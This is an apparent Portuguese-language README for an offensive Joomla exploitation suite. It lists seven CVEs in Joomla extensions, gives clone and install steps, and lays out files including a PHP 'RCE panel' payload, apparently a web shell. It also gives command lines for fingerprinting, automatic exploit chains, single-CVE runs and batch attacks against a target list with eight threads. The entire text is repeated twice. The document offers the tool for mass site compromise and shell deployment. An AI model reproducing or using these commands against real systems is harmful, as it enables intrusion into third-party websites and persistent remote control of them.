Suíte RCE multi-CVE para Joomla com sete módulos de exploit para Balbooa Forms, Page Builder CK, SP Page Builder, JCE, iCagenda, Helix3 e SP LMS, além da implantação de payload x7-panel.php.
Joomla Multi-CVE Suite — 7 módulos de vulnerabilidade + deploy do x7-panel.php
| CVE | Extensão |
|---|---|
| CVE-2026-56291 | Balbooa Forms (com_baforms) |
| CVE-2026-56290 | Page Builder CK (com_pagebuilderck) |
| CVE-2026-48908 | SP Page Builder (com_sppagebuilder) |
| CVE-2026-48907 | JCE (com_jce) |
| CVE-2026-48939 | iCagenda (com_icagenda) |
| CVE-2026-49049 | Helix3 (plg_ajax_helix3) |
| CVE-2026-48909 | SP LMS (com_splms) — Joomla < 5.2.2 + --splms-path |
A suíte executa uma cadeia automática por padrão; use --cve para um único módulo.
git clone https://github.com/winrarzipsexploit/CVE-2026-87930.git
cd CVE-2026-87930
pip install -r requirements.txt
| Arquivo | Função |
|---|---|
winrarzips_brand.py | Banner do CMD (by winrarzips) |
joomla_exploits.py | Módulos de exploit 7-CVE |
CVE-2026-Joomla-Suite.py | CLI em lote + alvo único |
payloads/x7-panel.php | Payload do painel RCE |
requirements.txt | Dependências |
❌ Listas de alvos, resultados de varredura e URLs de painéis ativos não estão incluídos.
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48908
python CVE-2026-Joomla-Suite.py -f targets.txt --yes --threads 8
Para alvos Joomla < 5.2.2, informe o caminho no servidor:
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48909 --splms-path /var/www/html/tmp/x7-panel.php
Joomla Multi-CVE Suite — 7 módulos de vulnerabilidade + deploy do x7-panel.php
| CVE | Extensão |
|---|---|
| CVE-2026-56291 | Balbooa Forms (com_baforms) |
| CVE-2026-56290 | Page Builder CK (com_pagebuilderck) |
| CVE-2026-48908 | SP Page Builder (com_sppagebuilder) |
| CVE-2026-48907 | JCE (com_jce) |
| CVE-2026-48939 | iCagenda (com_icagenda) |
| CVE-2026-49049 | Helix3 (plg_ajax_helix3) |
| CVE-2026-48909 | SP LMS (com_splms) — Joomla < 5.2.2 + --splms-path |
A suíte executa uma cadeia automática por padrão; use --cve para um único módulo.
git clone https://github.com/winrarzipsexploit/CVE-2026-87930.git
cd CVE-2026-87930
pip install -r requirements.txt
| Arquivo | Função |
|---|---|
winrarzips_brand.py | Banner do CMD (by winrarzips) |
joomla_exploits.py | Módulos de exploit 7-CVE |
CVE-2026-Joomla-Suite.py | CLI em lote + alvo único |
payloads/x7-panel.php | Payload do painel RCE |
requirements.txt | Dependências |
❌ Listas de alvos, resultados de varredura e URLs de painéis ativos não estão incluídos.
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48908
python CVE-2026-Joomla-Suite.py -f targets.txt --yes --threads 8
Para alvos Joomla < 5.2.2, informe o caminho no servidor:
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48909 --splms-path /var/www/html/tmp/x7-panel.php